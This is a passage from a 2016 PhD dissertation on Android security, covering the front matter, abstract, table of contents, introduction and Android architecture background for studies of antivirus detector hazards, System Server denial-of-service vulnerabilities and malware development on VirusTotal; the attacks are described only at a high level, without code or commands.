Embed Size (px)
Citation preview
The Pennsylvania State UniversityThe Graduate School
College of Engineering
A STUDY OF SYSTEM VULNERABILITY AND MALWARE
ON ANDROID
A Dissertation inComputer Science and Engineering
byHeqing Huang
© 2016 Heqing Huang
Submitted in Partial Fulfillmentof the Requirements
for the Degree of
Doctor of Philosophy
May 2016
The dissertation of Heqing Huang was reviewed and approved∗ by the following:
Sencun ZhuAssociate Professor of CSE & ISTDissertation Co-Advisor, Co-Chair of Committee
Peng LiuProfessor of IST & CSEDissertation Co-Advisor, Co-Chair of Committee
Thomas La PortaProfessor of CSE
David J. MillerProfessor of Electrical Engineering
Mahmut KandemirProfessor of CSEGraduate Program Chair
∗Signatures are on file in the Graduate School.
ii
Abstract
The increasing popularity of mobile devices (e.g., Android, iOS and etc.) attracts bothnormal users and malware writers. In this dissertation, we conduct research on threeimportant aspects of security problems in Android, which has a lion share (about 80%)of the current mobile market.
In the application-level, we perform a comprehensive analysis on the design of top30 antivirus detectors (AVDs) tailored for Android. One latest comparison of AndroidAVDs from the independent lab AV-TEST reports that the AVDs have around 95%malware detection rate. This only indicates that current AVDs on Android have goodmalware signature databases. When the AVDs are deployed on the fast-evolving mobilesystem, their effectiveness should also be measured on their runtime behavior. Our newunderstanding of the AVDs’ design leads us to discover the hazards in adopting AVDsolutions for Android. First, we measure the seriousness of the discovered hazard in themalware scan operations by developing evasion techniques, which work even under theassumption that the AVDs are equipped with “complete” virus definition files. Second,we discover that, during the engine update operations, the Android system surprisinglynullifies all types of protection of the AVDs and exposes the system to high risks. Wedesign and develop a model checker to confirm the presence of this vulnerable programlogic in all versions of Google Android source code and other vendor customized systemimages. We then report the findings to AVD vendors across 16 countries.
In the system-level, we identify and mitigate the system vulnerabilities in Android,which cause serious denial of service (DoS). The System Server (SS) process is consid-ered as the heart of Android, as it contains most of the Android system services in theAndroid framework, which provides the essential functionalities for applications (apps).However, due to the complicated design of the SS and the easily-accessible nature ofits system services (e.g., through Android APIs), we conjecture that the SS may faceserious DoS attacks. Through source code analysis, we have discovered a general designpattern in the concurrency control mechanism of the SS that could lead to deadly DoSattacks. As the SS plays the anchor role in Android, these DoS attacks could causesingle-point-of-failure in Android. We name it Android Stroke Vulnerability (ASV), as
iii
the SS, encounters downtime when the ASV is exploited. We then design an ASV-Hunterto rank the risk level of methods in the SS to cost-efficiently discover four unknown ASVsin critical services of SS. Our further threat analysis result is daunting: by easily writinga loop to invoke Android APIs in an app, an attacker can prevent the user from patchingvulnerable banking apps, reboot the device at mission critical moments (e.g., makingphone calls). The ASVs can be easily leveraged to design ransomware by putting thedevice into repeated freezing/rebooting loops or help equip malware with anti-removalcapability. Google confirmed our findings immediately after sending them a report. Wealso proposed defenses to secure the SS.
After identifying vulnerabilities in both critical apps and system components ofAndroid, we consider that the vulnerable and fast evolving Android system may be thenext target of malware writers. Hence, we are trying to uncover the current status ofAndroid malware development in the real world. We suspect that, during the malwaredevelopment and testing phase, some Android malware writers are continuously usingpublic scanning services (e.g., VirusTotal “VT”) for testing the evasion capability oftheir malware samples, which we name Android malware development (AMD) cases.In this work, we designed an AMD hunting system in the context of VT to identifyAMD cases and reveal new threats from Android malware development. Our system wasimplemented and used in a leading security company for four months. It has processed58 million of Android sample submissions on VT, and identified 1,623 AMD cases with13,855 samples from 83 countries. We then perform malware analysis and case studies on890 samples selected from the identified AMD cases. Our case study reveals lots of newmalware threats, including fake system app development, new phishing development,new rooting cases, new evasive techniques and etc. Besides raising the awareness of theexistence of AMD cases, more importantly, our research provides a generic and scalableframework for the systematic study of AMD cases on malware submission platforms.The relevant samples that we identified will become a fresh Android malware source forthe research community.
iv
Table of Contents
List of Figures ix
List of Tables xi
Acknowledgments xii
Chapter 1Introduction 11.1 Problems in this Study . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.1.1 Security Analysis of Antivirus Detectors in Android . . . . . . . 21.1.2 Security Analysis of Attack Resilience in Android System Server 21.1.3 Android Malware Development Hunting on Public Malware
Submission and Scanning Platform . . . . . . . . . . . . . . . . 31.2 Contribution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.2.1 Security Analysis of Antivirus Detectors in Android . . . . . . . 41.2.2 Security Analysis of Attack Resilience in Android System Server 51.2.3 Android Malware Development Hunting on Public Malware
Submission and Scanning Platform . . . . . . . . . . . . . . . . 6
Chapter 2Background 82.1 System Model . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82.2 Android Security Models . . . . . . . . . . . . . . . . . . . . . . . . . 10
Chapter 3Towards Discovering and Analyzing Unexpected Hazards in Tailoring
Antivirus Software for Android 123.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123.2 Background . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.2.1 AVD Background . . . . . . . . . . . . . . . . . . . . . . . . . 16
v
3.2.2 AVD Behavior Analyses . . . . . . . . . . . . . . . . . . . . . 173.2.2.1 AVD Behavior Analysis Framework . . . . . . . . . . 183.2.2.2 Intents Registered and Permissions Claimed . . . . . 19
3.3 Hazards in Malware Scan . . . . . . . . . . . . . . . . . . . . . . . . . 203.3.1 Malware Scan Behavior . . . . . . . . . . . . . . . . . . . . . . 203.3.2 Light Monitoring malScan Hazard . . . . . . . . . . . . . . . . 213.3.3 Heavy Sweeping malScan Hazard . . . . . . . . . . . . . . . . 23
3.3.3.1 Testing malScans and Collecting Scanning Traces . . 243.3.3.2 Identify Heavy Sweeping malScans Traces . . . . . . 253.3.3.3 Differentiate Full and Quick Scans . . . . . . . . . . 263.3.3.4 Signal Steganography based Scan Location Inference . 27
3.3.4 Targeted Evasions . . . . . . . . . . . . . . . . . . . . . . . . . 293.4 Hazards in Engine Update . . . . . . . . . . . . . . . . . . . . . . . . . 31
3.4.1 Engine Update Behavior and Hazard . . . . . . . . . . . . . . . 313.4.2 Null-protection Window Length . . . . . . . . . . . . . . . . . 343.4.3 Model Checking the Vulnerable Logic . . . . . . . . . . . . . . 35
3.4.3.1 Confirm the Goolge Android official factory Images . 373.4.3.2 Confirm the Vendor customized stock Images . . . . . 37
3.5 Discussions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393.5.1 Mitigations . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393.5.2 Other Hazards . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
3.5.2.1 Cloud based malScan Hazard . . . . . . . . . . . . . 403.5.2.2 Virus definition file (VDF) update Hazard . . . . . . . 40
3.6 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
Chapter 4Towards Characterizing, Detecting and Mitigating Android Stroke Vul-
nerability in the Android System Server 424.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 424.2 System Server: the Heart of Android . . . . . . . . . . . . . . . . . . . 44
4.2.1 Android Overview . . . . . . . . . . . . . . . . . . . . . . . . 444.2.2 System Server Concurrency Control . . . . . . . . . . . . . . . 454.2.3 System Server Hazard Overview . . . . . . . . . . . . . . . . . 47
4.3 Android Stroke Vulnerability Hunter . . . . . . . . . . . . . . . . . . . 494.3.1 ASV-Hunter Design Logic . . . . . . . . . . . . . . . . . . . . 50
4.3.1.1 Analyze the Android System Server Bytecode . . . . 514.3.1.2 Sift Out Methods for Analysis . . . . . . . . . . . . . 514.3.1.3 Triggering-Point Analyzer . . . . . . . . . . . . . . . 544.3.1.4 Candidate-Risky Method Testing . . . . . . . . . . . 55
4.3.2 ASV Hunting Result . . . . . . . . . . . . . . . . . . . . . . . 57
vi
4.3.2.1 Vulnerable Message Broadcasting in AMS . . . . . . 584.3.2.2 Vulnerable Application Record Cleanup in AMS . . . 604.3.2.3 Vulnerable Screen Layout Manipulation in WMS . . . 614.3.2.4 Vulnerable WindowState Removal in WMS . . . . . . 624.3.2.5 Human Intelligence . . . . . . . . . . . . . . . . . . 62
4.4 Proof-of-Concept Attacks . . . . . . . . . . . . . . . . . . . . . . . . . 634.4.1 Attack Design Overview . . . . . . . . . . . . . . . . . . . . . 634.4.2 Attack Design and Implementation . . . . . . . . . . . . . . . . 63
4.4.2.1 Hindering Critical Application Patching . . . . . . . . 634.4.2.2 Anti-Removal Technique . . . . . . . . . . . . . . . . 654.4.2.3 Repeated DoS Attacks . . . . . . . . . . . . . . . . . 654.4.2.4 Attack at Mission Critical Moments . . . . . . . . . . 66
4.5 Defense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 674.5.1 Apply User Side Remediations . . . . . . . . . . . . . . . . . . 684.5.2 Use Access Control Mechanisms . . . . . . . . . . . . . . . . . 684.5.3 Define Resource Usage Thresholds . . . . . . . . . . . . . . . . 684.5.4 Retrofit the Concurrency Control Design . . . . . . . . . . . . . 694.5.5 Design a Smart Watchdog Mechanism . . . . . . . . . . . . . . 70
4.6 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Chapter 5A Large-scale Study of Android Malware Development Cases on Public
Malware Submission and Scanning Platform 725.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 725.2 Background . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
5.2.1 Definitions. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 755.3 Android Malware Development Hunter . . . . . . . . . . . . . . . . . . 76
5.3.1 AMD-Alerter Design Logic . . . . . . . . . . . . . . . . . . . 775.3.2 AMD-Validation Design Logic . . . . . . . . . . . . . . . . . . 78
5.3.2.1 Package analyzer and supporting evidences . . . . . . 795.3.2.2 Static analysis and supporting evidences . . . . . . . 805.3.2.3 Dynamic analysis and supporting evidences . . . . . . 805.3.2.4 Validation Logic . . . . . . . . . . . . . . . . . . . . 82
5.4 System Implementation . . . . . . . . . . . . . . . . . . . . . . . . . . 835.4.0.0.1 Preprocessing and derived feature generation 835.4.0.0.2 Naive Bayes Classifier in Spark-ML . . . . . 845.4.0.0.3 Parallel sample analysis in Spark. . . . . . . 85
5.5 AMD Hunting Result . . . . . . . . . . . . . . . . . . . . . . . . . . . 855.5.1 False Negatives and False Positives . . . . . . . . . . . . . . . 855.5.2 General AMD Analysis . . . . . . . . . . . . . . . . . . . . . . 86
vii
5.5.2.0.1 AMD Location Distribution. . . . . . . . . . 865.5.2.0.2 Sample-based Similarity Grouping of AMDs. 885.5.2.0.3 Evasive Traces. . . . . . . . . . . . . . . . . 895.5.2.0.4 Zero-day Variants Analysis. . . . . . . . . . 905.5.2.0.5 Trend of Positive Numbers Changing. . . . . 93
5.6 Case Study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 945.6.1 New Threats from Fake System Applications . . . . . . . . . . 945.6.2 New Phishing Development Techniques . . . . . . . . . . . . . 955.6.3 New Hiding Techniques for AV Evasion . . . . . . . . . . . . . 975.6.4 New Rooting Development Techniques . . . . . . . . . . . . . 985.6.5 New Threats from JavaScript Loading . . . . . . . . . . . . . . 985.6.6 Aggressive SDK Developing . . . . . . . . . . . . . . . . . . . 101
5.7 Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1025.8 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Chapter 6State of the Art 1076.1 Threats in Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1076.2 DoS Attacks and Defenses . . . . . . . . . . . . . . . . . . . . . . . . 1086.3 Malware Detection and Evasion Techniques . . . . . . . . . . . . . . . 1086.4 Malware Development Phenomenon Study . . . . . . . . . . . . . . . . 109
Chapter 7Conclusion 111
Bibliography 113
viii
List of Figures
2.1 Android Architecture Overview . . . . . . . . . . . . . . . . . . . . . . 8
3.1 The AVD testing framework for Android platform . . . . . . . . . . . . 183.2 6 minutes CPU usage (utime) temporal statistics of (a) AVD Lookout
and (b) AVD Avira . . . . . . . . . . . . . . . . . . . . . . . . . . . . 263.3 Comparison of full/quick scans’ stime signal of (a) AVD Dr.Web and (b)
AVD Sophos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273.4 Stime signal (red line indicates zipTree scanning segment) of Panda
Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283.5 The constructed FSA of PMS for Android v4.4.4_r1 . . . . . . . . . . . 323.6 The Null-protection Window lengths (in seconds) for all 30 tested AVDs
on four Android devices . . . . . . . . . . . . . . . . . . . . . . . . . . 333.7 The model checking framework . . . . . . . . . . . . . . . . . . . . . . 36
4.1 The increasing trend of watchdog monitored system services of Androidversions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
4.2 The ASV-Hunter framework . . . . . . . . . . . . . . . . . . . . . . . 504.3 Two examples of the identified triggering points (Top: updateViewLay-
out; Below: sendBroadcast) . . . . . . . . . . . . . . . . . . . . . . . . 564.4 The freezing-time trend of ASV #1 when different # of receivers are
registered . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 584.5 The freezing-time trend of ASV #2 when cleaning up different # of
receivers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 584.6 The freezing-time trend of ASV #4 when removing different # of views 58
5.1 The AMD Hunter Framework . . . . . . . . . . . . . . . . . . . . . . . 765.2 The Comparative Feature Vector (example) . . . . . . . . . . . . . . . 815.3 The 1,623 AMD cases across 83 countries . . . . . . . . . . . . . . . . 87
ix
5.4 One Example Result of the Sample-Similarity Based Grouping of SubIDs(from SG that Developing Evolving Samples); Node is a SubID, edgesRepresent SubIDs that Sharing Similar Samples . . . . . . . . . . . . . 89
5.5 Some Evasive Cases Based on SubIDs; X-axis is the SubIDs and Y-axisis the Analysis Positive Numbers from More than 55 vendors . . . . . . 91
5.6 Some of the Evasive Submission Traces Draw on a Time Line (X-axis)of 102 Days Splits Into 15000 Time Units (10 minutes for each unit) andY-axis is the Analysis Positive Numbers from More than 55 vendors . . 92
5.7 Changes of positive number distributions for samples collected till 2015-12-20 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
5.8 0-day Sample (a464b) later confirmed by a few AV Vendors on VirusTotal Web Portal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
5.9 0-day Sample (ec662) later confirmed by a few AV Vendors on VirusTotal Web Portal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
5.10 The fake log-in UIs for phishing Bank of America credentials . . . . . . 965.11 Some of the Fake Log-in UIs for Phishing Mobile Banks from Different
Countries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 965.12 Install Apps in the Background . . . . . . . . . . . . . . . . . . . . . . 975.13 Decrypting and Loading the Payload . . . . . . . . . . . . . . . . . . . 995.14 Post-rooting Operations . . . . . . . . . . . . . . . . . . . . . . . . . . 1005.15 Create WebView and the “loadWeb()” Function . . . . . . . . . . . . . 1005.16 The “sendMsg()” Function and Dynamic Code Loading Behavior . . . . 1015.17 0-day Samples on Virus Total Web Portal . . . . . . . . . . . . . . . . 104
x
List of Tables
3.1 Popular Android antivirus detectors (AVDs) in our study . . . . . . . . 133.2 Information leakage channels used to infer AVDs’ running status . . . . 163.3 Intents registered and permissions asked by AVDs . . . . . . . . . . . . 203.4 Light monitoring malware scan ineffectiveness . . . . . . . . . . . . . . 223.5 Heavy-sweeping malware scan configurations . . . . . . . . . . . . . . 243.6 Hardware specifications of four Android devices . . . . . . . . . . . . . 243.7 Android OS versions and relevant Models for PMS . . . . . . . . . . . 38
4.1 Statistics of synchronized critical sections with watchdog monitoredlocks in different system services . . . . . . . . . . . . . . . . . . . . . 46
4.2 Ranked top-10 risky methods in ActivityManagerService and Window-ManagerService . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
4.3 Discovered new ASVs in the ActivityManagerService and WindowMan-agerService . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
4.4 4 Android devices used in the Dynamic Testing . . . . . . . . . . . . . 574.5 Statistics of synchronized blocks with watchdog monitored locks . . . . 69
5.1 Raw Fields of Each Submission Metadata get from VT Private API . . . 745.2 The Distribution of 83 Countries ((Cntry)) of the SubIDs (ID), and their
Malaware Samples Counts (MalCnts) . . . . . . . . . . . . . . . . . . 885.3 The Distribution of Positive Numbers (PosNum) based on the Submission-
time Scanning Results Recorded in the Database . . . . . . . . . . . . . 905.4 Some SubID Grouping Clusters . . . . . . . . . . . . . . . . . . . . . . 1055.5 Sample-SubID Mapping . . . . . . . . . . . . . . . . . . . . . . . . . 106
xi
Acknowledgments
I would like to express my deepest appreciation to my supervisors, Dr. Sencun Zhu andDr. Peng Liu for their support throughout my Ph.D study. Dr. Zhu and Dr. Liu havecreated a motivating and comfortable research environment in which I have learnt a loton valuable research experience and expertise. Without their guidance and help, thisdissertation would not have been possible. It has been a great pleasure and honor for meto work under their supervision. For example, it was the continuous discussion with Dr.Liu that generated the initial idea of our CCS 2015 paper. Also, it was the nights thatProf. Zhu and Prof. Liu spent with me on paper revisions and submissions that made myPh.D study a precious memory in my life. I am also grateful to Dr. Thomas La Porta, andDr. David J. Miller for serving as my Ph.D. Dissertation Committee and providing thegreat inspiration and insightful comments on various aspects, including system designdetails, data mining strategies and so forth.
I would also like to thank my co-authors Cong Zeng, Dr. Wu Zhou and Dr. JunyuanZeng and my internship mentors, Dr. Xinwen Zhang (at Samsung Research America),Dr. Jimmy Su (at FireEye Lab) for their insightful suggestions, spending valuable timehelping me with my research works and providing industrial experience and platform formy research.
xii
Dedication
Special thanks to my wife, Jie Gao and my parents. Their love, encouragement, under-standing, and support have given me great strength and courage. Also, our expectation ofour new coming baby provided me fresh strength and energy to work continuously forthe last project in this dissertation!
xiii
Chapter 1 |Introduction
During the past decade, we have witnessed the breathtaking growth of mobile devicesand the booming of mobile-application markets. The increasing popularity of mobiledevices and many new mobile applications have kept shaping our daily life. For example,we store more personal information on mobile devices than at any time in history; westart to use mobile navigation apps to navigate our cars [65] and even air-crafts [64]; wealso leverage mobile devices for online banking and shopping anytime and anywhere;nurses use smart devices to monitor the status of patients [59–61] and even astronomersstart to leverage the sensors from smart phones to build nano-satellites [62, 63, 66] andetc.
Among the modern mobile operating systems (e.g., Android, iOS and WindowPhone), the Android system has more than 80% of the current mobile device market.In 2015, the number of Android devices has surpassed 2 billion. However, due to theextreme popularity of mobile devices, the traditional PC security problems have migratedto mobile platform (e.g., new vulnerabilities and malware). The Android mobile systemis a new target for malware writers. Especially, due to the heavy customization by variousmobile vendors across the world, the Android system has become more fragmented [1].This makes its vulnerabilities more difficult to fix than iOS or Windows Phone OS.Moreover, hundreds of third-party Android app markets exist in different countries,which are smaller and less regulated than Google Play. Consequently, significantlymore Android malware has appeared and they can spread much easier than iOS malware.Among the popular mobile operating systems, the Android system has not only conquereda lion’s share of the market, but also gained 98.1% share of mobile malware [2] detectedin 2013. Therefore, understanding the design flaws of the fast evolving Android systemand discovering critical vulnerabilities in its critical applications and system components
1
ahead of the malware writers becomes a crucial but difficult task.Our study not only focuses on identifying and analyzing the general design flaws
in critical applications (e.g., antivirus detectors (AVDs)) in Android and the Androidplatform underneath it, but also tries to uncover the real world Android malware writersthat might take advantage of the vulnerable Android applications and system components.
1.1 Problems in this Study
1.1.1 Security Analysis of Antivirus Detectors in Android
Applications (apps) in Android are running in the sandboxed environment, which pre-vents malicious/poorly-developed apps impact each other directly. However, due tothe multitasking and highly component-reuse nature rooted in the design of Android,legitimate apps can still be attacked by malicious apps indirectly, for example, throughside channel or covert channels [3–12]. Therefore, these potential problematic designsmotivate us to analyze the security issues when tailoring antivirus software for the newmobile platform.
Many companies, including those reputable ones focusing on PC security as well assome new start-up companies, have turned their attention to the threats in the mobileplatform and tailored their antivirus detectors particularly for Android [13]. Therefore,the efficacy of these AV products on mobile platform becomes very critical for malwaredetection and system protection. We systematically analyze top 30 AVD productsfrom vendors across 16 countries, which currently has a total of 650-1070 million userdownloads for the Google-Play store alone. To prevent the well-known AVD weaknesses(e.g., vulnerable to obfuscators or packers) from being entangled in our searching fornew understanding and new findings, we focus on the analysis of the efficacy of runtimeoperations (e.g., malware scans and engine updates) of Android AVDs in this study.
1.1.2 Security Analysis of Attack Resilience in Android Sys-tem Server
On the other hand, we observe that one of the fundamental reasons that Android is sopopular among users and app developers, is the specific design of its middleware layer,which supports the component reuse, multitasking and other features. This middleware
2
consists of a set of system services that abstract away the low-level OS detail and providethe easily-accessible application programming interfaces (APIs) to better support appdevelopment for the Android eco-system. Actually, most of these essential services toAndroid apps, is included in a special multi-threaded process, namely the System Server(SS), which answers the requests from apps through the Android Binder interprocesscommunication (IPC).
First, the ActivityManager thread in the SS manages the life cycle of Android appcomponents, so it maintains the complete running context for each app. Second, thePackageManager thread in the SS manages the (un)installation of app packages andparses the apps’ manifest files, registers app permissions and other static meta data.Third, maintaining rich application context information, the SS is a critical buildingblock to support the design of access control mechanisms for app layer (e.g., Androiddefault permission 1 checks [14], SEAndroid [15] and FlaskDroid [12] userspace hooks).Without these functionalities or services, it is obvious that an Android-powered smartdevice will not be able to run any app in a way acceptable to the user. Therefore, we arealso performing the security analysis of the robustness and attack resilience of the SS inAndroid from the angle of denial-of-service (DoS).
1.1.3 Android Malware Development Hunting on Public Mal-ware Submission and Scanning Platform
Developing and testing of Windows malware through a multi-scan system, which containsup-to-date services and products of multiple antivirus engines, is a known fact to themalware research community. According to very recent news [16], two English suspectswere arrested for building a private multi-scan system for malware writers. Previously,researchers [17] have worked to mine Windows malware development cases in the Anubissandbox system [18] with dynamic malware analysis capabilities.
With the phenomenal growth of mobile users and the leading share in the globalmobile device market, the Android system is an attractive target for malware writers.Indeed, a research study [19] has shown that, in 2015, over 95% of mobile malware istargeting Android. Hence, we suspect that due to the seriousness of Android malware,similar development and testing phenomenon could appear on various public malware
1Permissions that grant access to low-level capabilities (e.g., accessing camera driver or SD card) aremapped to Linux group identifiers (GIDs), which is not checked in the SS.
3
scanning platforms (e.g., Malwr [20] and VirusTotal (VT) [21] and etc.). In this research,we name this phenomenon Android Malware Development (AMD).
To study the AMD phenomenon and understand the emerging trends of Androidmalware threats, we carry out a large-scale systematic study to reveal the AMD caseson the VT platform, which we name AMD hunting. VT, currently supported by Google,is the leading malware submission and scanning platform used by many top securitycompanies and the malware research community. Each day there were about 4 millionsuspicious file submissions in VT, among which about half a million of them are APKfiles or Android related files (e.g., dex, elf, jar files). For all the Android related filesubmissions, more than 55 antivirus engines provide malware scanning and detection.Because the VT service is publicly available, much previous malware research [17,19,22]has used the labels from antivirus engines on VT as the ground truth when validatingtheir approaches and findings. Unfortunately, this free service also provides a convenientchannel for malware developers to easily test their samples before spreading them todistribution channels, according to a previous study (with findings reported in a blog [23])on windows malware development. Thus, our research of AMD hunting is primarilyfocused on VT as a case study, but the designed approach can be adapted for huntingmalware development cases on similar platforms.
1.2 Contribution
1.2.1 Security Analysis of Antivirus Detectors in Android
The main contributions of the project on performing security analysis of Android antivirusdetectors (AVDs) are summarized as follows:
• New Understanding and New Hazards in mission critical operations of theseAndroid AVDs. In our study, we reverse-engineer 30 widely-deployed AndroidAVDs and build a framework to conduct the first empirical study towards a com-prehensive understanding of the internal design logic of several mission criticaloperations of Android AVDs. To reveal the detailed design logic of current AVDs,our framework contains dynamic testing and static code analysis. It helps us dis-cover several new hazards in malScan, engineUpdate and other mission criticaloperations of Android AVDs, which can potentially be leveraged by malwarewriters to evade the detection of AVDs.
4
• Measurements and Implementation. We then fully measured various types ofmalScan mechanisms of Android AVD and then design and develop targetedevasions against them based on fast Fourier transformation (FFT) and signal
steganography techniques. For the hazards in engineUpdate, besides measuring thelength of the null protection window on various hardware devices through runtimetesting, we identify and analyze the program logic that creates the vulnerable periodfrom the source code of Android Open Source Project (AOSP). We then built amodel checker to automatically verify the existence of the discovered vulnerabilityin all Google Android versions from 1.5 to 5.0.2, as well as vendor customized OSimages from Samsung, HTC, Sony and other vendors.
• Industrial Impact. Because of the seriousness of these hazards and the great im-pact of current Android AVDs (around one billion user downloads), we immediatelyreported our findings to the antivirus vendors across 16 countries, and proposedmitigation to them. Also, not only can this engineUpdate hazard hurt the AVD apps,but it will impact other Android apps that require continuous running/monitoring(e.g. Mobile Device Management apps (MDMs) or Intrusion Prevention Systems(IPSs)) as well. Hence, we reported the findings and suggestions to the securityteam at Google, and they responded immediately and confirmed our findings. Oursuggestions are considered as feature enhancements for the Android system byGoogle in the future versions.
1.2.2 Security Analysis of Attack Resilience in Android Sys-tem Server
The main contributions of the project on performing security analysis of the attack-resilience of the System Server (SS) in Android are summarized as follows:
• New Understanding and Discovery. Based on source code analysis and dynamictesting, we gain new understanding of the important component, the SS in Android.It helps us discover a very general type of vulnerability that leads to various DoSattacks. We name this general vulnerability, Android Stroke Vulnerability (ASV),as the SS (“heart” of Android) becomes paralyzed.
• Identifying New Vulnerability Instances. We characterize the vulnerability anddesign a tool, called ASV-Hunter, to assist the hunting of ASVs in the SS by
5
assessing the risk levels of hundreds of SS methods. Our ASV-Hunter can siftthrough all the methods in SS and helps us cost-effectively identify vulnerablemethods in the SS. We then further explore the exploitability of these methodsby dynamic testing the top risky methods on Google and Samsung devices, withAndroid version from 4.0 to 5.0.2. This eventually yields four zero-day ASVs inthe SS.
• Performing Threat analyses. To further measure the consequences of the discov-ered ASVs, we design and implement several proof-of-concept (PoC) attacks onAndroid by leveraging the discovered ASVs under certain usage scenarios. Theresult is daunting, by exploiting these ASVs, a malware can prevent vulnerablebank app patching, and critical dial-out. It can also help the malware writersequip the malware with anti-removal techniques. Many other potential vulnerablescenarios can happen due to the easily exploitable nature of these ASVs and theanchor role that the SS plays in the system.
• Proposing Defenses. Several defenses are proposed and their pros and cons arediscussed with the Google security team. Google replied immediately to confirmour findings and we have proposed several defenses for the discovered ASVs.
1.2.3 Android Malware Development Hunting on Public Mal-ware Submission and Scanning Platform
The main contributions of the project for AMD cases hunting on public malware submis-sion and scanning platform are summarized as follows:
• New Hunting Design: We design a scalable hunting framework to distill out sus-picious submissions from VT and perform validation on the suspicious submitters.
• New Validation Approach: We design an approach to validate the suspiciousAndroid malware development cases based on various analysis techniques (e.g.,package-level analysis, static analysis, dynamic analysis).
• Implementation: The designed framework has been implemented and used in aleading security company for about 4 months. It has been continuously processing432 million of VT submissions, among which 58 million are Android relevantsubmissions.
6
• New AMD cases, Malware Analysis and Case Study: Our framework has iden-tified 1,623 AMD cases across 83 countries with a total of 13,855 samples. Whenfirst submitted on VT, 63.8% of them were not detected by any AV engines onVT. We randomly selected 10% (890) of these previously undetected malwareand performed detailed case studies, by which we confirmed that all of them areindeed malicious. We also report lots of interesting AMD cases (e.g., fake systemapp development, new phishing for mobile banking, JavaScript based threats, newrooting cases, etc.). Some of them have already been written into industry reportsfor threat intelligence sharing.
7
Chapter 2 |Background
2.1 System Model
Android is an operating system based on the Linux Kernel, with new features such as theBinder IPC mechanism, Power Manager and shared memory (Ashmem) mechanism and
Figure 2.1: Android Architecture Overview
8
etc. Figure 2.1 is an overview of the Android architecture. We can see that, on top ofthe Linux kernel, Android is loaded with four software layers, namely system libraries,
Android runtime, application framework and application (app).System libraries are used by the software in the upper levels in the software stack,
including a slightly modified standard C library, Bionic, and other libraries supportingfor audio, graphics, WebView browser core and etc. One of the key components in theselibraries is the runtime environment that loads all the apps, system server process, toname a few. Before Android 4.4, Dalvik is set as the default runtime, which is a processvirtual machine with the just-in-time (JIT) compilation to run Android specific bytecode(i.e., the Dalvik Bytecode). An Android app is written in Java by developers and firstcompiled into Java bytecode and then further compiled into Dalvik bytecode (throughdx tool). In the very recent versions, Android Runtime (ART) is introduced as a newruntime environment, which uses ahead-of-time (AOT) to compile the Dalvik bytecodeinto native binaries (e.g., ELF format) during the app installation process, in order toachieve high runtime performance and optimized power assumption.
Based upon these system libraries and Android runtime, the Application Frameworkfurther abstracts away the lower level OS semantics, and provide easily accessible systemservices to apps through well-defined APIs for app developers. These system servicesprovide the most essential functionality for apps, ranging from controlling the apps lifecycles, facilitating app IPC interactions, providing multitasking features, controllingwindows systems, app package management and etc. We can see that the ApplicationFramework contains most of the critical system features and functionalities offered tousers, and uniquely defines the Android system when comparing to other mobile OSes.
An Android app is usually composed of a couple of modularized software components.Components serve as the building blocks for Android apps. There are four general typesof components, namely, Activity, Service, Broadcast Receivers, and Content Provider.An activity provides the basic user interface (UI) for the user to interact with. An apprequires one main activity to start, but can have a number of other activities (roughlyone per screen view). Activity stacks are designed to organize the order of activities.When a new activity starts, it goes to the top of the stack. Services are components thatrun in the background, usually engaged in the performance of long-running tasks. Ingeneral, a service is used to perform any task that is asynchronous with respect to themain user interface. New threads are forked for services to prevent the blocking of UIthreads. A broadcast receiver listens to special messages broadcasted by the system or
9
other app components and relays work to other services or activities. Finally, a Content
provider manages shared data and optionally exposes query and update capabilities forother components to invoke. A message-like intent is used to help the communicationsbetween components.
When booting up, Android’s bootloader first performs low-level system initializationand loads the Linux kernel. The kernel further initializes the drivers and the file system,and then starts the kernel daemons and the first userspace process /init. The /init thenstarts the Android specific Zygote process, which is a warm-up template process thatpreloads all the relevant libraries, classes and resources for all the other virtual machine(VM) based processes. After that, the Zygote starts a critical process, namely System
Server (SS), which contains most critical system services in the Application Frameworkand supervise the dynamics of all apps. Therefore, the SS is considered as the heart ofAndroid.
In the current Android system, a Binder interprocess communication (IPC) mecha-nism is used for more efficient Intents based message passing among these components.Intents can be used in different purposes. For the app relevant usages, it can be sent tostart an activity, start a service, deliver/receive a broadcast and so on. The system deliversvarious broadcast intents for system events to the apps/services that have registered toit. An app/system daemon usually listens to specific broadcast intents by registeringa broadcast receiver in the file AndroidManifest.xml or programmatically registeringthe relevant receiver in the code. For example, if an AVD app wants to relaunch auto-matically after the system boots up, it has to register for the system-broadcasted intentBOOT_COMPLETED, which is issued by the system once the boot process is completed.
2.2 Android Security Models
